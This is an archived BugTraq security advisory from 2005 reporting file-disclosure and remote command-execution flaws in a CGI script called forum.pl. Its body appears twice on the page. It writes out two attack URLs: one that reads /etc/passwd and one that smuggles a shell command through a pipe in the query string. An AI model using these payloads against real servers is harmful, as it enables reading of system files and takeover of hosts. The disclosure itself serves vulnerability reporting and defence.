BugTraq
Back to list
|
Post reply
remote command execution in forum.pl script
Apr 24 2005 09:09PM
fireboy fireboy (fireboynet webmails com)
Tunis 24/04/2005
BUG found by fireboy
fireboy (at) webmails (dot) com [email concealed]
THERE ARE SOME BUGS IN forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command
greetz to all magattack memebers www.magattack.tk
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
Tunis 24/04/2005
BUG found by fireboy
fireboy (at) webmails (dot) com [email concealed]
THERE ARE SOME BUGS IN forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command
greetz to all magattack memebers www.magattack.tk
[ reply ]